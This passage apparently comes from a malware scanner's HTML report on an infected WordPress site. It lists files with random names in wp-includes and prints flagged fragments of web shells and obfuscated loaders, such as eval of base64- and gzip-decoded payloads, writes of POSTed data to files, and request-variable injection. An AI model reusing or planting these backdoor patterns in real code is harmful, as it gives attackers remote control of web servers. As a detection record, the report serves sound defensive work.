<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #DD0000">"_REQUEST"</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">htmlspecialchars_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">gzinflate</span><span style="color: #007700">(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">$nhvJU</span><span style="color: #007700">))))</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_45").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/js/dist/script-modules/block-library/block-library/index.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 6.11 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:04:31</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:04:31</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span><br><table id="file_46" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$w6EIGxZlUkhyzD9w</span><span style="color: #007700">[</span><span style="color: #0000BB">32</span><span style="color: #007700">]}</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_46").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/plugin.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 36.87 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2025-02-24 03:40:05</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 14:16:41</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_47" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign 4a069524 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 4a069524)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">aW5jbHVkZ</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_47").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/YVC3ZrbQfiG.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 28.35 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 21:31:29</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 21:31:29</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 6</span><br><table id="file_48" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit download_remote_code2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 652</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RFU (Remote File Upload), via HTTP, allow to write malicious code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">fwrite </span><span style="color: #007700">(</span><span style="color: #0000BB">$fp</span><span style="color: #007700">, </span><span style="color: #0000BB">$_POST </span><span style="color: #007700">[</span><span style="color: #DD0000">'new'</span><span style="color: #007700">])</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit eval_base64 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution), through Base64 text, allow remote attackers to execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'; $search_str2 = '</span><span style="color: #007700">Array(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'; $search_str3 = '</span><span style="color: #007700">@</span><span style="color: #0000BB">$isbot</span><span style="color: #DD0000">'; $search_str4 = '</span><span style="color: #007700">@require</span><span style="color: #DD0000">'; $search_str5 = '</span><span style="color: #007700">eval(</span><span style="color: #0000BB">gzuncompress</span><span style="color: #007700">(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'; $search_str6 = '</span><span style="color: #007700">@include </span><span style="color: #DD0000">"\x2'; </span><span style="color: #0000BB">$search_str7</span><span style="color: #DD0000"> = '</span><span style="color: #0000BB">$OO</span><span style="color: #DD0000">'; </span><span style="color: #0000BB">$search_str8</span><span style="color: #DD0000"> = 'cache=00'; </span><span style="color: #0000BB">$search_str9</span><span style="color: #DD0000"> = 'file_get_contents(\"../index.php\")</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit execution <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution) allow remote attackers to execute PHP code on the target machine via HTTP</p><p><i>[<a href="https://cwe.mitre.org/data/definitions/77.html" target="_blank" class="text-primary">https://cwe.mitre.org/data/definitions/77.html</a>, <a href=" https://cwe.mitre.org/data/definitions/78.html" target="_blank" class="text-primary"> https://cwe.mitre.org/data/definitions/78.html</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">$_POST</span><span style="color: #DD0000">'; $search_str12 = '</span><span style="color: #0000BB">multipart</span><span style="color: #007700">/</span><span style="color: #0000BB">form</span><span style="color: #007700">-</span><span style="color: #0000BB">data</span><span style="color: #DD0000">'; if (!file_exists($finderdata_path)</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'; $search_str2 = '</span><span style="color: #007700">Array(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'; $search_str3 = '</span><span style="color: #007700">@</span><span style="color: #0000BB">$isbot</span><span style="color: #DD0000">'; $search_str4 = '</span><span style="color: #007700">@require</span><span style="color: #DD0000">'; $search_str5 = '</span><span style="color: #007700">eval(</span><span style="color: #0000BB">gzuncompress</span><span style="color: #007700">(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'; $search_str6 = '</span><span style="color: #007700">@include </span><span style="color: #DD0000">"\x2'; </span><span style="color: #0000BB">$search_str7</span><span style="color: #DD0000"> = '</span><span style="color: #0000BB">$OO</span><span style="color: #DD0000">'; </span><span style="color: #0000BB">$search_str8</span><span style="color: #DD0000"> = 'cache=00'; </span><span style="color: #0000BB">$search_str9</span><span style="color: #DD0000"> = 'file_get_contents(\"../index.php\")"'; $search_str10 = '</span><span style="color: #0000BB">is_uploaded_file</span><span style="color: #DD0000">'; $search_str11 = '</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">$_POST</span><span style="color: #DD0000">'; $search_str12 = '</span><span style="color: #0000BB">multipart</span><span style="color: #007700">/</span><span style="color: #0000BB">form</span><span style="color: #007700">-</span><span style="color: #0000BB">data</span><span style="color: #DD0000">'; if (!file_exists($finderdata_path)) { $arr_php_file = findshells($_SERVER['</span><span style="color: #0000BB">DOCUMENT_</span><span style="color: #007700">...</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 11413268 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 279</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 11413268)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 4a069524 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 294</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 4a069524)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">arr_php_file </span><span style="color: #007700">= </span><span style="color: #0000BB">findshells</span><span style="color: #007700">(</span><span style="color: #0000BB">$_SERVER</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 689d8acc <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 65</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 689d8acc)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">if (isset(</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'juke'</span><span style="color: #007700">]))
<br />{
<br /> </span><span style="color: #0000BB">$arr_files </span><span style="color: #007700">= </span><span style="color: #0000BB">DirFilesR</span><span style="color: #007700">(</span><span style="color: #0000BB">$_SERVER</span><span style="color: #007700">[</span><span style="color: #DD0000">'DOCUMENT_ROOT'</span><span style="color: #007700">]);</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_48").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/images/images/cache.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 5.51 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:15:07</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:15:07</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_49" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'EAPrZ+A/XcEB4bH8WDpjbFSKJMeJbnXCjJf+4zDU797v86lH04H+s+i9nlPO+61rLoc8+xHv71L+Qc9xV+ENvG77brLbDXuu94wrnc3h79s73ftq/4Fvc+b3Nxbvd5jKVgjG4ONe3kv181ZGfK7KTkRGrPNP7tuYv7/891pH9BfdjZ0rgAdhroVC8umZyJkW6fb58f0omV9+BrcGiA9g69icZLMb5LwYdgAvRqFRUUawijnWur8fWVZapNdneaI8DIz5XJCbMay07OHhYCJOBKwREpggljEMjXh2xNbZGWO2XRxh7K//ix6QIz65CCDUiiw0nm4ufYbvZB9ke1bP8WX0qxb+wmzP76EvOUltapqVXRmgS46D4uhtctpfRG95I//jx687HV/uPfftTrh1FOBoaNI6uaitafPOtqWB0ftTkYi3hY/2NdP/NRdb5/HNNLtzovCyuGVQESwjsHFDEVaGV9nBMzMiHz7V8Me5k71EPsG0z7K...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit global_var_string <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Code Injection, through escaped global vars, allow inject attackers to execute PHP code on the target machine via HTTP request</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #DD0000">"_REQUEST"</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">htmlspecialchars_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">gzinflate</span><span style="color: #007700">(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">$jVB</span><span style="color: #007700">))))</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_49").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/kanUxiO4uws.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 51.75 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 21:32:17</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 21:32:17</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 3</span><br><table id="file_50" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'OykpKSkpKSkpKSkpKSkpKSkpKSldODAwMDB4MFtd+KbLW1NMQUJPTEckKDVNaUUyRVZSbkFBZ1VwT1RfKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlfTspKSkpT0REc1Bnb18kKGxaWVZfKGs4ZmRHSktUV18kKGV0YWxmbml6Zyh2ZXJydHMgbnJ1dGVyO2s4ZmRHSktUV18kbGFib2xnO0pyWU42XyRsYWJvbGd7KU9ERHNQZ29fJCg1TWlFMkVWUm5BQWdVcE9UXyBub2l0Y251ZjtdNzAwMHgwW134pstbU0xBQk9MRyQ9azhmZEdKS1RXXyQ7XTYwMHgwW134pstbU0xBQk9MRyQ9SnJZTjZfJH07OUVZYm1fJCBucnV0ZXI7KSkpXTUweDBbXfimy1tTTEF...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$MAIqK</span><span style="color: #007700">(</span><span style="color: #0000BB">$eyxBz</span><span style="color: #007700">(</span><span style="color: #DD0000">'OykpKSkpKSkpKSkpKSkpKSkpKSldODAwMDB4MFtd+KbLW1NMQUJPTEckKDVNaUUyRVZSbkFBZ1VwT1RfKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlfTspKSkpT0REc1Bnb18kKGxaWVZfKGs4ZmRHSktUV18kKGV0YWxmbml6Zyh2ZXJydHMgbnJ1dGVyO2s4ZmRHSktUV18kbGFib2xnO0pyWU42XyRsYWJvbGd7KU9ERHNQZ29fJCg1TWlFMkVWUm5BQWdVcE9UXyBub2l0Y251ZjtdNzAwMHgwW134pstbU0xBQk9MRyQ9azhmZEdKS1RXXyQ7XTYwMHgwW134pstbU0xBQk9MRyQ9SnJZTjZfJH07OUVZYm1fJCBucnV0ZXI7KSkp...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function strrev eval_strrev <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">LavE</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign de12c454 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: de12c454)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">VJag</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_50").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/TEh7SXwNrKd.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 28.35 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 19:41:30</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 19:41:30</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 6</span><br><table id="file_51" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit download_remote_code2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 652</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RFU (Remote File Upload), via HTTP, allow to write malicious code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">fwrite </span><span style="color: #007700">(</span><span style="color: #0000BB">$fp</span><span style="color: #007700">, </span><span style="color: #0000BB">$_POST </span><span style="color: #007700">[</span><span style="color: #DD0000">'new'</span><span style="color: #007700">])</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit eval_base64 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution), through Base64 text, allow remote attackers to execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'; $search_str2 = '</span><span style="color: #007700">Array(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'; $search_str3 = '</span><span style="color: #007700">@</span><span style="color: #0000BB">$isbot</span><span style="color: #DD0000">'; $search_str4 = '</span><span style="color: #007700">@require</span><span style="color: #DD0000">'; $search_str5 = '</span><span style="color: #007700">eval(</span><span style="color: #0000BB">gzuncompress</span><span style="color: #007700">(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'; $search_str6 = '</span><span style="color: #007700">@include </span><span style="color: #DD0000">"\x2'; </span><span style="color: #0000BB">$search_str7</span><span style="color: #DD0000"> = '</span><span style="color: #0000BB">$OO</span><span style="color: #DD0000">'; </span><span style="color: #0000BB">$search_str8</span><span style="color: #DD0000"> = 'cache=00'; </span><span style="color: #0000BB">$search_str9</span><span style="color: #DD0000"> = 'file_get_contents(\"../index.php\")</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit execution <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution) allow remote attackers to execute PHP code on the target machine via HTTP</p><p><i>[<a href="https://cwe.mitre.org/data/definitions/77.html" target="_blank" class="text-primary">https://cwe.mitre.org/data/definitions/77.html</a>, <a href=" https://cwe.mitre.org/data/definitions/78.html" target="_blank" class="text-primary"> https://cwe.mitre.org/data/definitions/78.html</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">$_POST</span><span style="color: #DD0000">'; $search_str12 = '</span><span style="color: #0000BB">multipart</span><span style="color: #007700">/</span><span style="color: #0000BB">form</span><span style="color: #007700">-</span><span style="color: #0000BB">data</span><span style="color: #DD0000">'; if (!file_exists($finderdata_path)</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'; $search_str2 = '</span><span style="color: #007700">Array(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'; $search_str3 = '</span><span style="color: #007700">@</span><span style="color: #0000BB">$isbot</span><span style="color: #DD0000">'; $search_str4 = '</span><span style="color: #007700">@require</span><span style="color: #DD0000">'; $search_str5 = '</span><span style="color: #007700">eval(</span><span style="color: #0000BB">gzuncompress</span><span style="color: #007700">(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'; $search_str6 = '</span><span style="color: #007700">@include </span><span style="color: #DD0000">"\x2'; </span><span style="color: #0000BB">$search_str7</span><span style="color: #DD0000"> = '</span><span style="color: #0000BB">$OO</span><span style="color: #DD0000">'; </span><span style="color: #0000BB">$search_str8</span><span style="color: #DD0000"> = 'cache=00'; </span><span style="color: #0000BB">$search_str9</span><span style="color: #DD0000"> = 'file_get_contents(\"../index.php\")"'; $search_str10 = '</span><span style="color: #0000BB">is_uploaded_file</span><span style="color: #DD0000">'; $search_str11 = '</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">$_POST</span><span style="color: #DD0000">'; $search_str12 = '</span><span style="color: #0000BB">multipart</span><span style="color: #007700">/</span><span style="color: #0000BB">form</span><span style="color: #007700">-</span><span style="color: #0000BB">data</span><span style="color: #DD0000">'; if (!file_exists($finderdata_path)) { $arr_php_file = findshells($_SERVER['</span><span style="color: #0000BB">DOCUMENT_</span><span style="color: #007700">...</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 11413268 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 279</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 11413268)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 4a069524 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 294</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 4a069524)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">arr_php_file </span><span style="color: #007700">= </span><span style="color: #0000BB">findshells</span><span style="color: #007700">(</span><span style="color: #0000BB">$_SERVER</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 689d8acc <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 65</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 689d8acc)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">if (isset(</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'juke'</span><span style="color: #007700">]))
<br />{
<br /> </span><span style="color: #0000BB">$arr_files </span><span style="color: #007700">= </span><span style="color: #0000BB">DirFilesR</span><span style="color: #007700">(</span><span style="color: #0000BB">$_SERVER</span><span style="color: #007700">[</span><span style="color: #DD0000">'DOCUMENT_ROOT'</span><span style="color: #007700">]);</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_51").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/3JiNftAP5Tv.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 28.35 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 19:11:52</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 19:11:52</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 6</span><br><table id="file_52" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit download_remote_code2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 652</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RFU (Remote File Upload), via HTTP, allow to write malicious code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">fwrite </span><span style="color: #007700">(</span><span style="color: #0000BB">$fp</span><span style="color: #007700">, </span><span style="color: #0000BB">$_POST </span><span style="color: #007700">[</span><span style="color: #DD0000">'new'</span><span style="color: #007700">])</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit eval_base64 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution), through Base64 text, allow remote attackers to execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'; $search_str2 = '</span><span style="color: #007700">Array(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'; $search_str3 = '</span><span style="color: #007700">@</span><span style="color: #0000BB">$isbot</span><span style="color: #DD0000">'; $search_str4 = '</span><span style="color: #007700">@require</span><span style="color: #DD0000">'; $search_str5 = '</span><span style="color: #007700">eval(</span><span style="color: #0000BB">gzuncompress</span><span style="color: #007700">(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'; $search_str6 = '</span><span style="color: #007700">@include </span><span style="color: #DD0000">"\x2'; </span><span style="color: #0000BB">$search_str7</span><span style="color: #DD0000"> = '</span><span style="color: #0000BB">$OO</span><span style="color: #DD0000">'; </span><span style="color: #0000BB">$search_str8</span><span style="color: #DD0000"> = 'cache=00'; </span><span style="color: #0000BB">$search_str9</span><span style="color: #DD0000"> = 'file_get_contents(\"../index.php\")</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit execution <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution) allow remote attackers to execute PHP code on the target machine via HTTP</p><p><i>[<a href="https://cwe.mitre.org/data/definitions/77.html" target="_blank" class="text-primary">https://cwe.mitre.org/data/definitions/77.html</a>, <a href=" https://cwe.mitre.org/data/definitions/78.html" target="_blank" class="text-primary"> https://cwe.mitre.org/data/definitions/78.html</a>]</i></p></td><td><code><code><span style="color: #000000">
